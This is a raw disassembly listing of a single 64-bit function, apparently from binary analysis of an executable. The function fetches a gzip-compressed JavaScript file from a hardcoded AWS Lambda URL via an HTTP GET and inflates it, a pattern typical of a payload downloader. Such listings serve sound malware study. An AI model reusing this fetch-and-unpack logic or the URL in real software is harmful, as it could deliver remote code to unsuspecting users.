Function at 0x401000
Capabilities:
Hash data with crc32

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x27488
call fcn.0046bc78
sub rsp, rax
movaps xmmword [rsp + 0x27470], xmm6
lea rdx, [0x0046d6a8]
lea rbx, [rsp + 0x988]
mov r8d, 0x168
mov rcx, rbx
call fcn.0046bf16
lea rdx, str.https:__xrspmg6ddorpjlzm47icg4ix340ccoyq.lambda_url.eu_north_1.on.aws_files_2024_0510.js
lea rsi, [rsp + 0x8b0]
mov r8d, 0x58
mov rcx, rsi
call fcn.00404512
movzx r13d, word [rsi + 0xd0]
test r13w, r13w
jne 0x4012b8
lea r14, [rsp + 0xaf0]
lea rdx, [rsp + 0x8b0]
mov r8d, 0xd0
mov rcx, r14
call fcn.0046bf16
mov dl, 1
mov byte [rsp + 0x8b], dl
lea rax, [rsp + 0x2d0]
mov qword [rax - 0x38], rbx
lea r15, fcn.004085c4
mov qword [rax - 0x30], r15
movups xmm0, xmmword [0x0046d870]
movups xmmword [rax - 0x28], xmm0
movups xmm0, xmmword [0x0046d880]
movups xmmword [rax - 0x18], xmm0
and qword [rax - 8], 0
lea rsi, [0x0046d898]
mov ecx, 9
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
xorps xmm0, xmm0
movups xmmword [rax + 0x48], xmm0
mov byte [rax + 0x58], 0
mov cl, byte [rsp + 0x8b]
mov byte [rax + 0x59], cl
lea rsi, [rsp + 0x7f0]
mov byte [rsi + 0xbc], dl
mov dword [rsi + 0xb8], 0x1010003
lea rax, [rsp + 0x13810]
mov qword [rsi - 0x10], rax
mov qword [rsi - 8], 0x1000
mov r8d, 0x98
mov rcx, rsi
xor edx, edx
call fcn.0046bf36
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rsi + 0x98], rax
and qword [rsi + 0xa0], 0
mov qword [rsi + 0xa8], rax
and qword [rsi + 0xb0], 0
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x20], rax
lea rsi, [rsp + 0x14810]
lea rdx, [rsp + 0x298]
mov r8d, 0x544547
mov rcx, rsi
mov r9, r14
call fcn.004045bc
movzx r13d, word [rsi + 0x12c50]
test r13w, r13w
jne 0x4011cc
lea rsi, [rsp + 0xbc0]
lea rdx, [rsp + 0x14810]
mov r8d, 0x12c50
mov rcx, rsi
call fcn.0046bf16
mov rcx, rsi
call fcn.004052ef
mov r13d, eax
test ax, ax
je 0x4012d7
lea rcx, [rsp + 0xbc0]
call fcn.00406255
cmp byte [rsp + 0x310], 0
jne 0x4011de
mov byte [rsp + 0x310], 1
lea rsi, [rsp + 0x2a8]
mov rbx, qword [rsi + 0x40]
lea rdi, [rsp + 0x298]
test rbx, rbx
je 0x401238
mov r14, qword [rbx + 8]
lea rcx, [rbx + 0x10]
mov rdx, rdi
call fcn.0040c329
mov rcx, qword [rsp + 0x298]
mov rax, qword [rsp + 0x2a0]
mov rdx, qword [rsp + 0x274c8]
mov qword [rsp + 0x20], rdx
mov r8d, 0x8248
mov rdx, rbx
mov r9b, 3
call qword [rax + 0x10]
mov rbx, r14
jmp 0x4011f2
lea rdi, [rsp + 0x298]
mov rbx, qword [rdi + 0x38]
test rbx, rbx
je 0x40128a
mov r14, qword [rbx + 8]
lea rcx, [rbx + 0x10]
mov rdx, rdi
call fcn.0040c329
mov rcx, qword [rsp + 0x298]
mov rax, qword [rsp + 0x2a0]
mov rdx, qword [rsp + 0x274c8]
mov qword [rsp + 0x20], rdx
mov r8d, 0x8248
mov rdx, rbx
mov r9b, 3
call qword [rax + 0x10]
mov rbx, r14
jmp 0x401244
lea rdi, [rsp + 0x298]
mov rcx, rsi
mov rdx, rdi
call fcn.0040c3d2
movups xmm0, xmmword [rdi]
lea rcx, [rsp + 0x340]
movaps xmmword [rcx], xmm0
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x30]
call fcn.0040c289
mov eax, r13d
movaps xmm6, xmmword [rsp + 0x27470]
add rsp, 0x27488
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [rsp + 0xcb0]
test al, 3
je 0x401334
and eax, 3
cmp eax, 1
jne 0x401348
mov rax, qword [rsp + 0xc98]
lea rdx, [rsp + 0x140]
mov qword [rdx], rax
lea rcx, [rsp + 0x340]
mov qword [rcx], rdx
lea rax, [0x00409550]
mov qword [rcx + 8], rax
lea rdx, str.0_r_n_r_n
mov r8d, 5
call fcn.004095e6
mov r13d, eax
test ax, ax
jne 0x4011bf
jmp 0x401348
mov r13w, 0x1e
cmp qword [rsp + 0xca8], 0
jne 0x4011bf
mov rcx, qword [rsp + 0xc98]
call fcn.00409bea
mov r13d, eax
test ax, ax
jne 0x4011bf
lea rcx, [rsp + 0xbc0]
call fcn.00406280
mov r13d, eax
test ax, ax
jne 0x4011bf
movzx eax, word [rsp + 0x13750]
and eax, 0x3ff
mov r13w, 0x2a
cmp ax, 0xc8
jne 0x4011bf
cmp byte [rsp + 0xd00], 0
je 0x4011bf
mov r8, qword [rsp + 0xcf8]
lea rdx, [rsp + 0x330]
mov qword [rdx], rbx
mov qword [rdx + 8], r15
lea rsi, [rsp + 0x280]
mov rcx, rsi
call fcn.0041898a
movzx r13d, word [rsi + 0x10]
test r13w, r13w
jne 0x4011bf
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xd8], rax
mov rdi, qword [rsp + 0x288]
lea r12, [rsp + 0xd28]
xorps xmm6, xmm6
lea r14, [rsp + 0x50]
lea rax, [rsp + 0x340]
mov qword [rsp + 0xf8], rax
xor ebp, ebp
mov qword [rsp + 0x100], rdi
sub rdi, rbp
jbe 0x403d6a
mov rax, qword [rsp + 0xd8]
add rax, rbp
mov qword [rsp + 0x68], rax
movzx eax, byte [rsp + 0x13748]
test eax, eax
je 0x40392e
cmp eax, 1
jne 0x403963
lea rcx, [rsp + 0xd40]
mov rdx, rdi
call fcn.0041704b
mov r13, rdx
test rdx, rdx
jne 0x4039e9
mov cl, byte [rsp + 0x13742]
mov edx, ecx
and dl, 7
cmp dl, 4
je case.default.0x401493
movzx eax, cl
and eax, 7
lea rcx, section..rdata
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rsp + 0x40]
mov rdx, r12
call fcn.00417158
cmp word [rsp + 0x40], 0
jne 0x403cde
mov r14b, byte [rsp + 0x42]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0xd28]
call fcn.00417158
cmp word [rsp + 0x28], 0
jne 0x403cde
mov r15b, byte [rsp + 0x2a]
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0xd28]
call fcn.00417158
cmp word [rsp + 0x50], 0
jne 0x403cde
mov r12b, byte [rsp + 0x52]
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0xd28]
call fcn.00417158
cmp word [rsp + 0x140], 0
jne 0x403cde
mov sil, byte [rsp + 0x142]
lea rcx, [rsp + 0xd28]
mov dx, 6
call fcn.0041717c
test ax, ax
jne 0x403cde
cmp r14b, 0x1f
jne 0x403cde
cmp r15b, 0x8b
jne 0x403cde
cmp r12b, 8
jne 0x403cde
test sil, sil
je 0x4015f0
test sil, 4
je 0x4015ae
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0xd28]
call fcn.00417252
cmp word [rsp + 0x342], 0
jne 0x403cde
movzx edx, word [rsp + 0x340]
lea rcx, [rsp + 0xd28]
call fcn.0041717c
test ax, ax
jne 0x403cde
test sil, 8
je 0x4015ca
lea rcx, [rsp + 0xd28]
call fcn.00417319
test ax, ax
jne 0x403cde
test sil, 0x10
je 0x4015e6
lea rcx, [rsp + 0xd28]
call fcn.00417319
test ax, ax
jne 0x403cde
test sil, 2
jne 0x4020ca
lea r12, [rsp + 0xd28]
jmp 0x4020e7
mov rcx, r12
call fcn.00417587
mov eax, dword [rsp + 0xd38]
mov ecx, eax
and ecx, 7
shr eax, 3
cmp ecx, 1
mov r9d, 0
adc r9d, 7
sub r9d, eax
and qword [rsp + 0x90], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x140], rax
lea rax, [0x00416018]
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x90]
call fcn.00416041
cmp word [rsp + 0x348], 0
jne 0x401f35
mov rax, qword [rsp + 0x340]
test rax, rax
je 0x401f35
mov rdx, qword [rsp + 0x90]
mov ecx, dword [rsp + 0xd38]
shl rdx, cl
or qword [rsp + 0xd30], rdx
and eax, 0x1f
lea eax, [rcx + rax*8]
mov dword [rsp + 0xd38], eax
jmp 0x401f43
mov eax, dword [rsp + 0xd38]
test eax, eax
jne 0x40210a
and qword [rsp + 0x28], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x140], r14
lea rax, [0x00416018]
mov qword [rsp + 0x148], rax
mov r9d, 8
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x28]
call fcn.00416041
cmp word [rsp + 0x348], 0
jne 0x4020fb
mov rax, qword [rsp + 0x340]
test rax, rax
je 0x4020fb
mov rdx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0xd38]
shl rdx, cl
or qword [rsp + 0xd30], rdx
shl eax, 3
movzx eax, al
add eax, ecx
mov dword [rsp + 0xd38], eax
jne 0x40210a
jmp 0x403cde
movzx eax, byte [rsp + 0x13741]
mov r13w, 0x2b
test al, 3
je 0x401fa5
and eax, 3
cmp eax, 2
je 0x401d91
cmp eax, 1
jne 0x4011bf
mov rax, qword [rsp + 0xd48]
sub rax, qword [rsp + 0xd40]
add rax, 0x10000
cmp rax, 0x103
jb 0x4021c1
mov ecx, dword [rsp + 0xd38]
cmp ecx, 8
ja 0x401877
mov eax, ecx
and eax, 7
shr ecx, 3
cmp eax, 1
mov r9d, 0
adc r9d, 7
sub r9d, ecx
and qword [rsp + 0x28], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x140], r14
lea rax, [0x00416018]
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x28]
call fcn.00416041
cmp word [rsp + 0x348], 0
jne 0x40185f
mov rax, qword [rsp + 0x340]
test rax, rax
je 0x40185f
mov rdx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0xd38]
shl rdx, cl
or qword [rsp + 0xd30], rdx
and eax, 0x1f
lea ecx, [rcx + rax*8]
mov dword [rsp + 0xd38], ecx
jmp 0x40186e
mov ecx, dword [rsp + 0xd38]
test ecx, ecx
je 0x4011bf
cmp ecx, 7
jb 0x4011bf
mov r9, qword [rsp + 0xd30]
mov rdx, r9
shr rdx, 7
mov qword [rsp + 0xd30], rdx
lea eax, [rcx - 7]
mov dword [rsp + 0xd38], eax
mov r8d, r9d
rol r8b, 4
mov r10d, r8d
and r10b, 0x33
shl r10b, 2
shr r8b, 2
and r8b, 0x33
or r8b, r10b
mov r10d, r8d
and r10b, 0x55
add r10b, r10b
shr r8b, 1
and r8b, 0x54
or r8b, r10b
shr r8b, 1
cmp r8b, 0x18
jae 0x4019a3
test r9b, 0x7f
je 0x401f29
movzx esi, r8b
or esi, 0x100
cmp si, 0x11d
ja 0x4011bf
cmp eax, 0x16
ja 0x401a2c
mov ecx, eax
and ecx, 7
shr eax, 3
cmp ecx, 1
mov r9d, 0
adc r9d, 7
sub r9d, eax
and qword [rsp + 0x28], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x140], r14
lea rax, [0x00416018]
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x28]
call fcn.00416041
cmp word [rsp + 0x348], 0
jne 0x401a1d
mov rax, qword [rsp + 0x340]
test rax, rax
je 0x401a1d
mov rdx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0xd38]
shl rdx, cl
or qword [rsp + 0xd30], rdx
and eax, 0x1f
lea eax, [rcx + rax*8]
mov dword [rsp + 0xd38], eax
jmp 0x401a2c
cmp r8b, 0x5f
ja 0x4019d8
test eax, eax
je 0x4011bf
shr r9, 8
mov qword [rsp + 0xd30], r9
add ecx, 0xfffffff8
mov dword [rsp + 0xd38], ecx
add r8b, r8b
and dl, 1
or dl, r8b
add dl, 0xd0
jmp 0x401b4b
cmp r8b, 0x64
jae 0x401b16
test eax, eax
je 0x4011bf
shr r9, 8
mov qword [rsp + 0xd30], r9
add ecx, 0xfffffff8
mov dword [rsp + 0xd38], ecx
add r8b, r8b
and r8b, 0x3e
and dl, 1
or dl, r8b
movzx esi, dl
add esi, 0x118
mov eax, ecx
jmp 0x4018ea
mov eax, dword [rsp + 0xd38]
test eax, eax
je 0x4011bf
movzx ecx, si
add ecx, 0xff
movzx ecx, cx
movzx ecx, cl
lea rdx, [0x004c7488]
mov r8, qword [rdx + rcx*8]
mov esi, r8d
shr esi, 0x10
shr r8, 0x30
test r8b, 0xf
je 0x401a84
lea rcx, [rsp + 0x90]
mov rdx, r12
call fcn.00417598
cmp word [rsp + 0x92], 0
jne 0x4011bf
add si, word [rsp + 0x90]
mov eax, dword [rsp + 0xd38]
cmp eax, 5
jb 0x4011bf
mov r8, qword [rsp + 0xd30]
mov rcx, r8
shr rcx, 5
mov qword [rsp + 0xd30], rcx
add eax, 0xfffffffb
mov dword [rsp + 0xd38], eax
rol r8b, 4
mov eax, r8d
and al, 0x33
shl al, 2
shr r8b, 2
and r8b, 0x33
or r8b, al
mov eax, r8d
and al, 0x54
add al, al
shr r8b, 1
and r8b, 0x50
or r8b, al
shr r8b, 3
lea rcx, [rsp + 0x40]
mov rdx, r12
call fcn.004175da
cmp word [rsp + 0x42], 0
jne 0x4011bf
movzx r8d, word [rsp + 0x40]
lea rcx, [rsp + 0xd40]
mov edx, esi
call fcn.00416e26
test ax, ax
je 0x401793
jmp 0x4011bf
cmp eax, 2
jb 0x4011bf
shr r9, 9
mov qword [rsp + 0xd30], r9
add ecx, 0xfffffff7
mov dword [rsp + 0xd38], ecx
mov eax, edx
and al, 2
add dl, dl
shr al, 1
or al, dl
and al, 3
shl r8b, 2
or r8b, al
mov edx, r8d
mov rax, qword [rsp + 0xd40]
movzx ecx, ax
mov byte [rsp + rcx + 0xd50], dl
inc rax
mov qword [rsp + 0xd40], rax
jmp 0x401793
cmp esi, 0x20
lea r12, [rsp + 0xd28]
ja 0x401c1f
mov eax, esi
and eax, 7
shr esi, 3
cmp eax, 1
mov r9d, 0
adc r9d, 7
sub r9d, esi
and qword [rsp + 0xc0], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x50], rax
lea rax, [0x00416018]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x140]
mov rdx, r14
lea r8, [rsp + 0xc0]
call fcn.00416041
cmp word [rsp + 0x148], 0
jne 0x401c4d
mov rax, qword [rsp + 0x140]
test rax, rax
je 0x401c4d
mov rdx, qword [rsp + 0xc0]
mov ecx, dword [rsp + 0xd38]
shl rdx, cl
or qword [rsp + 0xd30], rdx
and eax, 0x1f
lea eax, [rcx + rax*8]
mov dword [rsp + 0xd38], eax
cmp r15b, 0x1c
jbe 0x401c65
jmp 0x4011bf
mov rax, qword [rsp + 0xd40]
movzx ecx, ax
mov byte [rsp + rcx + 0xd50], r15b
inc rax
mov qword [rsp + 0xd40], rax
jmp 0x401d91
cmp r15b, 0x1c
ja 0x4011bf
cmp dword [rsp + 0xd38], 0
je 0x4011bf
movzx eax, r15b
lea rcx, [0x004c7488]
mov r8, qword [rcx + rax*8]
mov r15d, r8d
shr r15d, 0x10
shr r8, 0x30
test r8b, 0xf
je 0x401ca4
lea rcx, [rsp + 0x3c]
mov rdx, r12
call fcn.00417598
cmp word [rsp + 0x3e], 0
jne 0x4011bf
add r15w, word [rsp + 0x3c]
mov rsi, qword [rsp + 0xd30]
mov eax, esi
rol ax, 8
mov ecx, eax
shr ecx, 4
mov edx, 0xf0f
and ecx, edx
and eax, edx
shl eax, 4
or eax, ecx
mov ecx, eax
mov edx, 0x3333
and ecx, edx
shr eax, 2
and eax, edx
lea eax, [rax + rcx*4]
mov ecx, eax
and ecx, 0x5555
shr eax, 1
and eax, 0x5554
lea r8d, [rax + rcx*2]
shr r8d, 1
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x12650]
call fcn.00416fad
cmp word [rsp + 0x348], 0
jne 0x4011bf
mov r8d, dword [rsp + 0x340]
mov ecx, r8d
shr ecx, 8
mov eax, dword [rsp + 0xd38]
and ecx, 0xf
sub eax, ecx
jb 0x4011bf
mov edx, dword [rsp + 0x344]
shr rsi, cl
shl rdx, 0x20
or r8, rdx
mov qword [rsp + 0xd30], rsi
mov dword [rsp + 0xd38], eax
lea rcx, [rsp + 0xa0]
mov rdx, r12
call fcn.004175da
cmp word [rsp + 0xa2], 0
jne 0x4011bf
movzx r8d, word [rsp + 0xa0]
lea rcx, [rsp + 0xd40]
mov edx, r15d
call fcn.00416e26
test ax, ax
jne 0x4011bf
mov rax, qword [rsp + 0xd48]
sub rax, qword [rsp + 0xd40]
add rax, 0x10000
cmp rax, 0x103
jb 0x4021c1
mov esi, dword [rsp + 0xd38]
cmp esi, 0xe
ja 0x401e68
mov eax, esi
and eax, 7
shr esi, 3
cmp eax, 1
mov r9d, 0
adc r9d, 7
sub r9d, esi
and qword [rsp + 0xa8], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
lea rax, [0x00416018]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0xa8]
call fcn.00416041
cmp word [rsp + 0x30], 0
jne 0x401e59
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x401e59
mov rdx, qword [rsp + 0xa8]
mov ecx, dword [rsp + 0xd38]
shl rdx, cl
or qword [rsp + 0xd30], rdx
and eax, 0x1f
lea esi, [rcx + rax*8]
mov dword [rsp + 0xd38], esi
jmp 0x401e68
mov esi, dword [rsp + 0xd38]
test esi, esi
je 0x4011bf
mov r12, qword [rsp + 0xd30]
mov eax, r12d
rol ax, 8
mov ecx, eax
shr ecx, 4
mov edx, 0xf0f
and ecx, edx
and eax, edx
shl eax, 4
or eax, ecx
mov ecx, eax
mov edx, 0x3333
and ecx, edx
shr eax, 2
and eax, edx
lea eax, [rax + rcx*4]
mov ecx, eax
and ecx, 0x5555
shr eax, 1
and eax, 0x5554
lea r8d, [rax + rcx*2]
shr r8d, 1
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x10d60]
call fcn.00416f0f
cmp word [rsp + 0x348], 0
jne 0x4011bf
mov r15d, dword [rsp + 0x340]
mov ecx, r15d
shr ecx, 8
and ecx, 0xf
sub esi, ecx
jb 0x4011bf
mov eax, dword [rsp + 0x344]
shl rax, 0x20
or r15, rax
shr r12, cl
mov qword [rsp + 0xd30], r12
mov dword [rsp + 0xd38], esi
mov rax, r15
shr rax, 0xc
test al, 3
je 0x401c2a
and eax, 3
cmp eax, 2
je 0x401b6d
lea rax, [0x00494ae6]
jmp 0x4021c8
cmp dword [rsp + 0xd38], 0
je 0x403cde
lea rcx, [rsp + 0x28]
mov rdx, r12
call fcn.00417655
cmp word [rsp + 0x2c], 0
jne 0x403cde
mov eax, dword [rsp + 0x10d58]
xor eax, dword [rsp + 0x28]
cmp eax, 0xffffffff
jne 0x403cde
mov rcx, r14
mov rdx, r12
call fcn.00417655
cmp word [rsp + 0x54], 0
jne 0x403cde
mov eax, dword [rsp + 0x50]
cmp eax, dword [rsp + 0x10d50]
jne 0x403cde
mov byte [rsp + 0x13742], 4
jmp case.0x401493.4
mov rcx, r12
call fcn.00417587
lea rcx, [rsp + 0x28]
mov rdx, r12
call fcn.00417252
cmp word [rsp + 0x2a], 0
jne 0x4011bf
movzx esi, word [rsp + 0x28]
mov rcx, r14
mov rdx, r12
call fcn.00417252
cmp word [rsp + 0x52], 0
jne 0x4011bf
movzx eax, word [rsp + 0x50]
xor ax, si
cmp ax, 0xffff
jne 0x4011bf
test si, si
je 0x4021b6
movzx eax, si
mov rcx, qword [rsp + 0xd40]
movzx edx, cx
mov r15d, 0x10000
sub r15, rdx
cmp rax, r15
cmovb r15, rax
add rcx, r15
mov qword [rsp + 0xd40], rcx
lea rax, [rsp + 0xd50]
add rdx, rax
mov eax, dword [rsp + 0xd38]
mov r8, qword [rsp + 0xd30]
add eax, 0xfffffff8
xor ecx, ecx
cmp eax, 0xfffffff8
je 0x402074
cmp r15, rcx
jbe 0x402074
mov r9, r8
shr r9, 8
mov qword [rsp + 0xd30], r9
mov dword [rsp + 0xd38], eax
mov byte [rdx + rcx], r8b
inc rcx
add eax, 0xfffffff8
mov r8, r9
jmp 0x402045
mov rax, qword [rsp + 0xd28]
add rdx, rcx
mov r8, r15
sub r8, rcx
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x340], rax
lea rax, [0x00416018]
mov qword [rsp + 0x348], rax
lea rcx, [rsp + 0x340]
call fcn.00416d15
sub esi, r15d
test ax, ax
je 0x401ff4
jmp 0x4011bf
lea r12, [rsp + 0xd28]
mov rcx, r12
mov dx, 2
call fcn.0041717c
test ax, ax
jne 0x403cde
mov byte [rsp + 0x13742], 1
xor eax, eax
lea r14, [rsp + 0x50]
jmp 0x4021f7
mov eax, dword [rsp + 0xd38]
test eax, eax
je 0x403cde
mov rcx, qword [rsp + 0xd30]
mov rdx, rcx
shr rdx, 1
mov qword [rsp + 0xd30], rdx
dec eax
mov dword [rsp + 0xd38], eax
and ecx, 1
mov byte [rsp + 0x90], cl
mov byte [rsp + 0x13740], cl
lea rcx, [rsp + 0x40]
mov rdx, r12
call fcn.0041734a
cmp word [rsp + 0x40], 0
jne 0x403cde
mov al, byte [rsp + 0x42]
mov byte [rsp + 0x13741], al
mov byte [rsp + 0x13742], 2
cmp al, 2
jne case.0x401493.4
lea rcx, [rsp + 0x74]
mov rdx, r12
call fcn.00417409
movzx eax, word [rsp + 0x74]
test ax, ax
jne 0x4021a7
movzx r15d, byte [rsp + 0x76]
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xd28]
call fcn.00417409
movzx eax, word [rsp + 0x70]
test ax, ax
je 0x402205
lea r14, [rsp + 0x50]
lea r12, [rsp + 0xd28]
jmp 0x4021f7
test byte [0x00494ae6], 1
jne 0x4021da
jmp case.0x401493.4
lea rax, [0x00494aea]
test byte [rax], 1
lea r14, [rsp + 0x50]
lea r12, [rsp + 0xd28]
je case.0x401493.4
xor eax, eax
test byte [rsp + 0x13740], 1
setne al
lea eax, [rax*2 + 1]
mov byte [rsp + 0x13742], al
xor eax, eax
test ax, ax
je 0x40144e
jmp 0x403cde
movzx r13d, byte [rsp + 0x72]
mov eax, dword [rsp + 0xd38]
cmp eax, 3
ja 0x4022c8
cmp eax, 1
mov r9d, 0
adc r9, 7
and qword [rsp + 0x28], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x140], rax
lea rax, [0x00416018]
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x28]
call fcn.00416041
cmp word [rsp + 0x348], 0
jne 0x4022af
mov rax, qword [rsp + 0x340]
test rax, rax
je 0x4022af
mov rdx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0xd38]
shl rdx, cl
or qword [rsp + 0xd30], rdx
and eax, 0x1f
lea eax, [rcx + rax*8]
mov dword [rsp + 0xd38], eax
jmp 0x4022ba
mov eax, dword [rsp + 0xd38]
test eax, eax
je 0x4022bf
cmp eax, 3
ja 0x4022c8
mov ax, 0x1a
jmp 0x4021a7
mov rcx, qword [rsp + 0xd30]
mov rdx, rcx
shr rdx, 4
mov qword [rsp + 0xd30], rdx
add eax, 0xfffffffc
mov dword [rsp + 0xd38], eax
and cl, 0xf
mov byte [rsp + 0x40], cl
mov ax, 0x61
cmp r15b, 0x1d
ja 0x4021a7
cmp r13b, 0x1d
ja 0x4021a7
mov eax, r15d
movaps xmmword [rsp + 0x50], xmm6
and dword [rsp + 0x5f], 0
add eax, 0x101
mov dword [rsp + 0xb0], eax
movzx eax, cl
lea rsi, [rax*4 + 0x10]
xor r14d, r14d
cmp rsi, r14
je 0x40236e
lea rax, [0x00494a98]
mov r12d, dword [r14 + rax]
lea rcx, [rsp + 0x3c]
lea rdx, [rsp + 0xd28]
call fcn.004174c8
movzx eax, word [rsp + 0x3c]
test ax, ax
jne 0x4021a7
mov al, byte [rsp + 0x3e]
mov byte [rsp + r12 + 0x50], al
add r14, 4
jmp 0x40232f
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x50]
call fcn.0041638c
test ax, ax
jne 0x4021a7
mov r8d, 0x13c
lea rcx, [rsp + 0x140]
xor edx, edx
call fcn.0046bf36
movzx eax, r15w
movzx ecx, r13w
lea r14d, [rax + rcx]
add r14d, 0x102
xor r15d, r15d
cmp r15, r14
jae 0x4026c6
mov esi, dword [rsp + 0xd38]
cmp esi, 6
ja 0x402464
cmp esi, 1
mov r9d, 0
adc r9, 7
and qword [rsp + 0x78], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
lea rax, [0x00416018]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x78]
call fcn.00416041
cmp word [rsp + 0x30], 0
jne 0x402455
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x402455
mov rdx, qword [rsp + 0x78]
mov ecx, dword [rsp + 0xd38]
shl rdx, cl
or qword [rsp + 0xd30], rdx
and eax, 0x1f
lea esi, [rcx + rax*8]
mov dword [rsp + 0xd38], esi
jmp 0x402464
mov esi, dword [rsp + 0xd38]
test esi, esi
je 0x4022bf
mov r13, qword [rsp + 0xd30]
mov eax, r13d
rol al, 4
mov ecx, eax
and cl, 0x33
shl cl, 2
shr al, 2
and al, 0x33
or al, cl
mov ecx, eax
and cl, 0x55
add cl, cl
shr al, 1
and al, 0x54
or al, cl
shr al, 1
movzx r8d, al
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x340]
call fcn.0041666a
movzx eax, word [rsp + 0x98]
test ax, ax
jne 0x4021a7
mov eax, dword [rsp + 0x90]
mov ecx, eax
shr ecx, 8
and ecx, 0xf
sub esi, ecx
jb 0x4022bf
mov edx, dword [rsp + 0x94]
shl rdx, 0x20
shr r13, cl
or rax, rdx
mov qword [rsp + 0xd30], r13
mov dword [rsp + 0xd38], esi
cmp al, 0x10
je 0x4025e2
movzx ecx, al
cmp ecx, 0x11
je 0x4025aa
cmp ecx, 0x12
jne 0x402657
cmp esi, 6
ja 0x402691
cmp esi, 1
mov r9d, 0
adc r9, 7
and qword [rsp + 0x78], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
lea rax, [0x00416018]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x78]
call fcn.00416041
cmp word [rsp + 0x30], 0
jne 0x402671
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x402671
mov rdx, qword [rsp + 0x78]
mov ecx, dword [rsp + 0xd38]
shl rdx, cl
or qword [rsp + 0xd30], rdx
and eax, 0x1f
lea esi, [rcx + rax*8]
mov dword [rsp + 0xd38], esi
jmp 0x402680
lea rcx, [rsp + 0xa8]
lea rdx, [rsp + 0xd28]
call fcn.004174c8
movzx eax, word [rsp + 0xa8]
test ax, ax
jne 0x4021a7
movzx r13d, byte [rsp + 0xaa]
add r13, 3
jmp 0x4026be
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0xd28]
call fcn.0041734a
movzx eax, word [rsp + 0xa0]
test ax, ax
jne 0x4021a7
mov ax, 0x61
test r15, r15
je 0x4021a7
movzx r13d, byte [rsp + 0xa2]
lea rcx, [r15 + r13]
add rcx, 3
cmp rcx, 0x13c
ja 0x4021a7
add r13, 3
lea rax, [rsp + r15]
add rax, 0x140
xor ecx, ecx
cmp r13, rcx
je 0x4026be
mov dl, byte [rax + rcx - 1]
and dl, 0xf
mov byte [rax + rcx], dl
inc rcx
jmp 0x402643
test al, 0xf0
jne 0x40271c
and al, 0xf
mov byte [rsp + r15 + 0x140], al
mov r13d, 1
jmp 0x4026be
mov esi, dword [rsp + 0xd38]
test esi, esi
je 0x4022bf
cmp esi, 7
jb 0x4022bf
mov r13, qword [rsp + 0xd30]
mov rax, r13
shr rax, 7
mov qword [rsp + 0xd30], rax
add esi, 0xfffffff9
mov dword [rsp + 0xd38], esi
mov eax, r13d
and al, 0x7f
mov byte [rsp + 0x8c], al
and r13d, 0x7f
add r13, 0xb
add r15, r13
jmp 0x4023b4
mov ax, 0x61
ja 0x4021a7
movzx esi, word [rsp + 0xb0]
lea rcx, [rsp + 0x10d60]
lea rdx, [rsp + 0x140]
mov r8, rsi
call fcn.00416709
test ax, ax
jne 0x4021a7
lea rdx, [rsp + rsi]
add rdx, 0x140
sub r14, rsi
lea rcx, [rsp + 0x12650]
mov r8, r14
call fcn.004169ef
jmp 0x4021a7
mov ax, 0x61
jmp 0x4021a7
movzx eax, al
and eax, 7
lea rcx, [0x0046d014]
